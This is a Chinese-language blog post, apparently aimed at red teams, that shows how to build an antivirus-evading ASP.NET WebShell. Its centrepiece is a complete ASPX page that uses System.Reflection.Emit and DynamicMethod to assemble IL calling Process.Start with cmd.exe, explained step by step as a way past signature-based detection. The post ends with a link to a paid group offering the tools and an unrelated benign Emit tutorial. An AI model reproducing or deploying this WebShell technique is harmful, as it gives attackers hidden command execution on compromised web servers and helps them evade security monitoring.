.NET Emit 技术打造免杀 WebShell 突破安全壁垒

在当下的红队攻防演练活动里,WebShell 仍旧是攻击者实现内网初始渗透落地、横向拓展渗透范围以及维持系统权限的关键手段之一。不过,随着主流杀毒软件不断更新针对传统 WebShell 的签名库,特别是对像 Process.Start 这类关键 API 的监控力度持续加大,红队面临着新的挑战——如何绕过杀毒软件的检测。

01. 剖析 Emit 技术

在此背景下,今天为大家介绍一种利用 System.Reflection.Emit 所具备的动态代码生成能力,达成免杀执行命令的方法。该方法借助 IL 动态拼装技术来执行 “cmd.exe /c whoami” 命令,在 WebShell 的应用场景中顺利完成命令执行操作,进而绕过绝大多数基于关键字符串特征匹配的防御机制。

在 .NET 框架的丰富功能体系中,System.Reflection.Emit 犹如一颗璀璨的明珠,它为开发者提供了一套强大且灵活的 API 集合,专门用于在程序运行期间动态地生成和执行代码。这一特性赋予了开发者极大的自由度,使得他们能够在程序运行时按需构建程序集、模块、类型以及方法,并通过中间语言(IL)指令来精准定义这些代码的具体行为。

图片

1.1 深入理解IL指令

在 .NET 的编译与执行流程中,C#、VB.NET 等高级语言所编写的代码并不会直接转换为机器码,而是会经历一个中间阶段——编译成中间语言(IL)。IL 是一种面向对象的低级语言,其风格与汇编语言颇为相似。它作为 .NET 生态中的关键一环,由 .NET 公共语言运行库(CLR)中的即时(JIT)编译器在程序运行时动态地翻译成原生机器码,从而确保程序能够在不同的硬件平台上顺利执行。

从这个角度来看,IL 堪称 .NET 的汇编层。对于安全研究人员和攻击者来说,IL 就像是一扇观察程序运行细节的窗户,透过它能够洞察程序在底层的执行逻辑。而对于红队而言,IL 更是通过 System.Reflection.Emit 构造恶意行为的绝佳“注射点”。通过巧妙地操控 IL 指令,红队能够在目标系统中植入隐蔽的恶意代码,实现各种攻击目标。

IL 采用的是栈式指令集模型,这与传统的 x86 架构有着显著的区别。在 x86 架构中,运算主要依赖于寄存器,而 IL 则摒弃了这种方式,所有的操作都基于“压栈 - 弹栈”的机制来执行。具体来说,当需要使用某个数据时,先将其压入栈中;当需要对该数据进行操作时,再从栈中弹出并进行相应的处理。每条 IL 指令都精确地控制着一次操作,例如加载常量、调用方法等。而且,所有的方法都必须以 Ret 指令作为结尾,这标志着方法的执行结束并将控制权返回给调用者。

为了更好地理解 IL 指令,我们来看一个具体的例子。假设我们有以下一段简单的 .NET 代码:

Process.Start("cmd.exe","/c whoami");

这段代码的功能是启动一个命令提示符窗口并执行 whoami 命令,用于显示当前用户的身份信息。当这段代码被编译成 IL 形式时,大致如下:

ldstr      "cmd.exe"
ldstr      "/c whoami"
call       System.Diagnostics.Process::Start(string,string)
pop
ret

这里的每一行代码都对应着一个特定的 IL 指令。ldstr 指令用于将字符串常量压入栈中,第一个 ldstr "cmd.exe" 将字符串 "cmd.exe" 压入栈,第二个 ldstr "/c whoami" 将字符串 "/c whoami" 压入栈。接着,call 指令用于调用指定的方法,这里调用的是 System.Diagnostics.Process.Start(string,string) 方法,该方法会从栈中弹出两个字符串参数并启动相应的进程。pop 指令用于弹出栈顶的元素,最后 ret 指令结束方法的执行并将控制权返回。

这些 OpCodes(操作码)就用 DynamicMethod 或 ILGenerator.Emit() 时所发出的“指令语句”。通过组合这些指令,我们可以构建出各种复杂的逻辑。

对于红队来说,掌握 IL 指令就如同掌握了一门针对 .NET 的“武装汇编语言”。利用 System.Reflection.Emit 技术,红队可以无中生有地生成任意函数逻辑。这种动态生成代码的能力使得红队能够轻松地绕过一切静态检测规则。因为静态检测通常是基于代码的固定特征进行分析的,而动态生成的代码在编译时并不存在,只有在运行时才会被创建和执行,所以静态检测工具很难发现其中的恶意行为。

1.2 动态方法

DynamicMethod 本质上是一种轻量级的托管函数定义方式,它与常规方法有着显著的区别。常规方法通常依赖于程序集或模块文件,这些文件会被写入磁盘,在程序加载时被读取和解析。而 DynamicMethod 则完全摆脱了对程序集或模块文件的依赖,它不需要将代码写入磁盘,所有的定义和执行过程都在内存中完成。这种特性使得 DynamicMethod 生成的代码更加隐蔽,难以被传统的磁盘扫描工具发现。

此外,常规方法在定义和调用过程中需要经过一系列复杂的加载和解析步骤,而 DynamicMethod 可以通过委托快速绑定并调用。委托是一种引用方法的类型,它提供了一种将方法作为参数传递、存储和调用的机制。通过将 DynamicMethod 与委托相结合,开发者可以在内存中快速创建并执行方法,大大提高了代码的执行效率和灵活性。

DynamicMethod 的构造过程相对简洁而高效。首先,我们使用以下代码创建一个 DynamicMethod 实例:

var method =newDynamicMethod("MyMethod", returnType, parameterTypes, ownerModule);

在这个构造函数中,"MyMethod" 是为动态方法指定的名称,虽然这个名称在运行时并不会对方法的执行产生实质性的影响,但它可以用于调试和标识。returnType 指定了方法的返回类型,parameterTypes 是一个数组,用于指定方法的参数类型,ownerModule 则指定了方法所属的模块,通常可以设置为 typeof(SomeType).Module 的形式。

图片

创建好 DynamicMethod 实例后,我们通过调用 GetILGenerator() 方法获取一个 ILGenerator 实例。ILGenerator 就像是一位技艺高超的汇编语言工匠,它提供了类似汇编语言的操作码(OpCodes)接口。通过这个接口,我们可以逐条发出 MSIL(Microsoft Intermediate Language)指令,实现对方法逻辑的精细控制和各种 API 的调用。例如,我们可以使用 ldstr 指令加载字符串常量,使用 call 指令调用其他方法,使用 ret 指令结束方法的执行等。通过巧妙地组合这些指令,我们可以在内存中构建出任意复杂的逻辑,实现各种恶意或合法的功能。

02. Emit 最佳实践

下面,我们将借助一个具体且详细的示例,深入剖析如何巧妙运用 DynamicMethod 和 ILGenerator 来动态构建方法,进而实现启动系统进程的操作,以此展示一种极具隐蔽性的 WebShell 实现方式。

 
<%@ Import Namespace="System.Reflection.Emit"%>
<script runat="server" language="c#">
voidPage_load(){
// 创建一个名为"Main"的动态方法,该方法无返回值且无参数
var method =newDynamicMethod("Main",null, Type.EmptyTypes);
// 获取该动态方法的 IL 代码生成器
var ilGenerator = method.GetILGenerator();

// 插入一条无操作指令,在某些情况下可用于填充或调试对齐
    ilGenerator.Emit(OpCodes.Nop);
// 将字符串"cmd.exe"压入计算栈
    ilGenerator.Emit(OpCodes.Ldstr,"cmd.exe");
// 将字符串"/c winver"压入计算栈
    ilGenerator.Emit(OpCodes.Ldstr,"/c winver");
// 调用 System.Diagnostics.Process 类的 Start 方法,该方法接受两个字符串参数
    ilGenerator.Emit(OpCodes.Call,typeof(System.Diagnostics.Process).GetMethod("Start",
newType[]{typeof(string),typeof(string)}));
// 弹出计算栈顶的元素(Process.Start 方法返回的值,此处无实际用途)
    ilGenerator.Emit(OpCodes.Pop);
// 方法返回指令,结束当前方法的执行
    ilGenerator.Emit(OpCodes.Ret);

// 将动态方法创建为 Action 委托类型的实例
var helloWorldMethod = method.CreateDelegate(typeof(Action))asAction;
// 调用委托,执行动态方法
    helloWorldMethod.Invoke();
}
</script>

这段代码的核心在于利用 DynamicMethod 创建了一个匿名方法。DynamicMethod 是 System.Reflection.Emit 命名空间下的一个强大类,它允许在运行时动态创建方法,且这些方法不依赖于传统的程序集或模块文件,完全在内存中定义和执行。

首先,通过 new DynamicMethod("Main", null, Type.EmptyTypes) 创建了一个名为 "Main" 的动态方法,该方法没有返回值(null 表示返回类型为 void)且不接受任何参数(Type.EmptyTypes 表示参数类型数组为空)。

接着,使用 GetILGenerator() 方法获取该动态方法的 IL 代码生成器 ilGenerator。IL(Intermediate Language)是 .NET 框架中的中间语言,类似于汇编语言,通过它可以精确控制方法的执行逻辑。

图片

在 IL 指令生成部分:

  • ilGenerator.Emit(OpCodes.Nop)

     插入一条无操作指令,这条指令本身不执行任何实际操作,但在某些情况下可用于代码填充或调试对齐。

  • ilGenerator.Emit(OpCodes.Ldstr, "cmd.exe")

     和 ilGenerator.Emit(OpCodes.Ldstr, "/c winver") 分别将字符串 "cmd.exe" 和 "/c winver" 压入计算栈。计算栈是 IL 执行过程中的一个重要数据结构,用于存储操作数和中间结果。

  • ilGenerator.Emit(OpCodes.Call, typeof(System.Diagnostics.Process).GetMethod("Start", new Type[]{typeof(string), typeof(string)}))

     调用 System.Diagnostics.Process 类的 Start 方法。这里通过反射获取 Start 方法,该方法接受两个字符串参数,分别是要启动的进程名称和命令行参数。

  • ilGenerator.Emit(OpCodes.Pop)

     弹出计算栈顶的元素,即 Process.Start 方法返回的值。由于我们并不关心这个返回值,所以使用 Pop 指令将其丢弃。

  • ilGenerator.Emit(OpCodes.Ret)

     是方法返回指令,标志着当前方法的执行结束,将控制权返回给调用者。

最后,通过 method.CreateDelegate(typeof(Action)) as Action 将动态方法创建为 Action 委托类型的实例,然后调用 helloWorldMethod.Invoke() 执行该委托,从而触发动态方法的执行。

当这段代码在服务器上执行时,它会成功调用 cmd.exe /c winver 命令,启动系统版本信息窗口。这一过程悄无声息地绕过了安全检测,展示了 Emit 技术在构建隐蔽 WebShell 方面的强大能力和潜在威胁,如下图所示。

图片

03.NET安全扩展学习

 文/章/涉/及/的/工/具/已/打/包,请//加//入//后/下//载:https://wx.zsxq.com/group/51121224455454 

### .NET Emit 使用教程及常见问题解决方案 #### 什么是Emit? 动态创建和操作IL(中间语言)代码的能力是.NET框架的一个强大特性。`System.Reflection.Emit`命名空间提供了一组类来帮助开发者在运行时生成和操纵程序集、模块以及类型定义。 - `AssemblyBuilder`: 创建新的程序集。 - `ModuleBuilder`: 定义新类型的容器,在其中可以添加字段、方法和其他成员。 - `TypeBuilder`: 构建自定义类型。 - `MethodBuilder`, `ConstructorBuilder`: 分别用于构建方法体和构造函数。 - `ILGenerator`: 发射实际的MSIL字节码到方法体内[^1]。 #### 基本使用案例 下面是一个简单的例子,演示如何利用Emit技术创建一个带有简单加法运算的方法: ```csharp using System; using System.Reflection; using System.Reflection.Emit; class Program { static void Main(string[] args) { AppDomain myDomain = Thread.GetDomain(); AssemblyName assemblyName = new("DynamicAddition"); // Create a dynamic assembly and module. var assemblyBuilder = myDomain.DefineDynamicAssembly( assemblyName, AssemblyBuilderAccess.Run); ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("MainModule"); TypeBuilder typeBuilder = moduleBuilder.DefineType("MathOperations", TypeAttributes.Public | TypeAttributes.Class | TypeAttributes.AutoClass | TypeAttributes.AnsiClass | TypeAttributes.BeforeFieldInit | TypeAttributes.AutoLayout); MethodBuilder methodBuilder = typeBuilder.DefineMethod("AddNumbers", MethodAttributes.Public | MethodAttributes.Static, typeof(int), new Type[]{typeof(int), typeof(int)}); ILGenerator ilGen = methodBuilder.GetILGenerator(); // Load first argument onto the stack (arg_0). ilGen.Emit(OpCodes.Ldarg_0); // Load second argument onto the stack (arg_1). ilGen.Emit(OpCodes.Ldarg_1); // Add two values on top of the evaluation stack together. ilGen.Emit(OpCodes.Add); // Return result from function call. ilGen.Emit(OpCodes.Ret); Type mathOpsType = typeBuilder.CreateTypeInfo().AsType(); MethodInfo addMethodInfo = mathOpsType.GetMethod("AddNumbers"); Console.WriteLine(addMethodInfo.Invoke(null, new object[]{5, 3})); } } ``` 这段代码展示了怎样通过发射机制建立了一个名为`MathOperations`的新类型,并在其内部实现了静态整数相加的功能。最后调用了这个方法并打印出了结果。 #### 常见问题及其解答 ##### 性能考量 虽然Emit允许灵活地生成代码,但在某些情况下可能会引入额外开销。对于频繁执行的操作来说,应该评估是否真的有必要采用这种方式而不是预先编译好的二进制文件。另外需要注意的是,过多依赖于反射也会带来一定的性能损失[^4]。 ##### 错误处理 当尝试加载非法或不符合当前上下文环境的状态时,很容易遇到异常情况。因此建议总是捕获潜在错误并在适当时候给予反馈给用户。例如,如果试图在一个已经完成初始化的对象上继续修改其结构,则会抛出InvalidOperationException;而在向不存在的目标应用域发送请求时则可能出现TargetInvocationException等。 ##### 调试困难度增加 由于这些由Emit产生的代码是在应用程序启动之后才被即时编译出来的,所以传统的调试工具可能无法很好地支持这类场景下的断点设置等功能。这使得开发人员不得不采取更间接的方式来验证逻辑正确性,比如借助日志记录或是单元测试等方式来进行辅助排查工作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dot.Net安全矩阵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值